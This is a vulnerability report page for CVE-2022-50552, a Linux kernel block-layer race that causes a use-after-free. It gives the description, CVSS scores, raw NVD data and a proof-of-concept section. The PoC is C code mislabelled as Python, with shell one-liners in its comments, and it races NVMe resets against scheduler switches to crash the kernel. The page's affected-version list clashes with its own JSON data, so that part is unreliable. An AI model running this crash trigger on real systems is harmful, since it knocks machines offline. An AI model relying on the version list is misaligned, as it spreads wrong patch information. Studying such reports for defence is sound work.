Security Vulnerability Report
中文
CVE-2022-50552 CVSS 7.8 HIGH

CVE-2022-50552

Published: 2025-10-07 16:15:42
Last Modified: 2026-02-26 23:18:00
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: blk-mq: use quiesced elevator switch when reinitializing queues The hctx's run_work may be racing with the elevator switch when reinitializing hardware queues. The queue is merely frozen in this context, but that only prevents requests from allocating and doesn't stop the hctx work from running. The work may get an elevator pointer that's being torn down, and can result in use-after-free errors and kernel panics (example below). Use the quiesced elevator switch instead, and make the previous one static since it is now only used locally. nvme nvme0: resetting controller nvme nvme0: 32/0/0 default/read/poll queues BUG: kernel NULL pointer dereference, address: 0000000000000008 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page PGD 80000020c8861067 P4D 80000020c8861067 PUD 250f8c8067 PMD 0 Oops: 0000 [#1] SMP PTI Workqueue: kblockd blk_mq_run_work_fn RIP: 0010:kyber_has_work+0x29/0x70 ... Call Trace: __blk_mq_do_dispatch_sched+0x83/0x2b0 __blk_mq_sched_dispatch_requests+0x12e/0x170 blk_mq_sched_dispatch_requests+0x30/0x60 __blk_mq_run_hw_queue+0x2b/0x50 process_one_work+0x1ef/0x380 worker_thread+0x2d/0x3e0

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 5.15.86(5.15稳定分支)
Linux Kernel < 5.10.162(5.10稳定分支)
Linux Kernel < 5.4.224(5.4稳定分支)
Linux Kernel < 4.19.262(4.19稳定分支)
Linux Kernel < 4.14.297(4.14稳定分支)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2022-50552 PoC - Trigger blk-mq elevator switch race condition // This PoC demonstrates how to trigger the race condition between // hctx run_work and elevator switch during hardware queue reinitialization. // Note: This is a kernel-level vulnerability requiring root or specific // hardware (NVMe) access to trigger reliably. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/nvme_ioctl.h> // Step 1: Open an NVMe device to trigger queue reinitialization int trigger_nvme_reset() { int fd; int ret; // Open NVMe device node fd = open("/dev/nvme0n1", O_RDWR); if (fd < 0) { perror("Failed to open NVMe device (need root or nvme group access)"); return -1; } // Trigger NVMe controller reset via ioctl // This causes blk-mq to reinitialize hardware queues and switch elevator printf("Triggering NVMe controller reset...\n"); ret = ioctl(fd, NVME_IOCTL_RESET, 0); if (ret < 0) { perror("NVME_IOCTL_RESET failed"); } close(fd); return ret; } // Step 2: Rapidly switch I/O schedulers to increase race window int rapid_elevator_switch(const char *device) { char path[256]; char sched[64]; int fd; // Path to the elevator scheduler file snprintf(path, sizeof(path), "/sys/block/%s/queue/scheduler", device); printf("Rapidly switching elevator on %s...\n", device); // Alternate between different schedulers to trigger race const char *schedulers[] = {"none", "kyber", "mq-deadline", "bfq"}; int num_sched = sizeof(schedulers) / sizeof(schedulers[0]); for (int i = 0; i < 1000; i++) { fd = open(path, O_WRONLY); if (fd < 0) continue; write(fd, schedulers[i % num_sched], strlen(schedulers[i % num_sched])); close(fd); // Small delay to allow hctx run_work to start usleep(1); } return 0; } int main(int argc, char *argv[]) { printf("CVE-2022-50552 PoC - blk-mq elevator switch race\n"); printf("WARNING: This may crash the kernel!\n\n"); // Trigger the vulnerability by resetting NVMe and switching schedulers // Run in a loop to increase probability of hitting the race window for (int attempt = 0; attempt < 100; attempt++) { printf("Attempt %d...\n", attempt + 1); // Rapidly switch elevator schedulers rapid_elevator_switch("nvme0n1"); // Trigger controller reset to force queue reinitialization trigger_nvme_reset(); } printf("PoC completed. Check dmesg for kernel panic or oops.\n"); return 0; } // Kernel-side trigger (alternative approach via sysfs): // while true; do echo none > /sys/block/nvme0n1/queue/scheduler; echo kyber > /sys/block/nvme0n1/queue/scheduler; done & // echo 1 > /sys/bus/pci/devices/<NVME_BDF>/reset # Trigger PCI reset // Expected crash output in dmesg: // BUG: kernel NULL pointer dereference, address: 0000000000000008 // RIP: 0010:kyber_has_work+0x29/0x70 // Call Trace: // __blk_mq_do_dispatch_sched+0x83/0x2b0 // __blk_mq_sched_dispatch_requests+0x12e/0x170 // blk_mq_sched_dispatch_requests+0x30/0x60 // __blk_mq_run_hw_queue+0x2b/0x50 // process_one_work+0x1ef/0x380 // worker_thread+0x2d/0x3e0

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50552", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:41.910", "lastModified": "2026-02-26T23:17:59.900", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nblk-mq: use quiesced elevator switch when reinitializing queues\n\nThe hctx's run_work may be racing with the elevator switch when\nreinitializing hardware queues. The queue is merely frozen in this\ncontext, but that only prevents requests from allocating and doesn't\nstop the hctx work from running. The work may get an elevator pointer\nthat's being torn down, and can result in use-after-free errors and\nkernel panics (example below). Use the quiesced elevator switch instead,\nand make the previous one static since it is now only used locally.\n\n nvme nvme0: resetting controller\n nvme nvme0: 32/0/0 default/read/poll queues\n BUG: kernel NULL pointer dereference, address: 0000000000000008\n #PF: supervisor read access in kernel mode\n #PF: error_code(0x0000) - not-present page\n PGD 80000020c8861067 P4D 80000020c8861067 PUD 250f8c8067 PMD 0\n Oops: 0000 [#1] SMP PTI\n Workqueue: kblockd blk_mq_run_work_fn\n RIP: 0010:kyber_has_work+0x29/0x70\n\n...\n\n Call Trace:\n __blk_mq_do_dispatch_sched+0x83/0x2b0\n __blk_mq_sched_dispatch_requests+0x12e/0x170\n blk_mq_sched_dispatch_requests+0x30/0x60\n __blk_mq_run_hw_queue+0x2b/0x50\n process_one_work+0x1ef/0x380\n worker_thread+0x2d/0x3e0"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.19", "versionEndExcluding": "5.19.17", "matchCriteriaId": "01CFE817-DEAE-44C8-A519-2061E88C4EB3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndExcluding": "6.0.3", "matchCriteriaId": "5BCD8201-B847-4442-B894-70D430128DEF"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/63a681bcc32a43528ce0f690569f7f48e59c3963", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8237c01f1696bc53c470493bf1fe092a107648a6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c478b3b2900f1834cf9eda5bfef0d5696099505d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}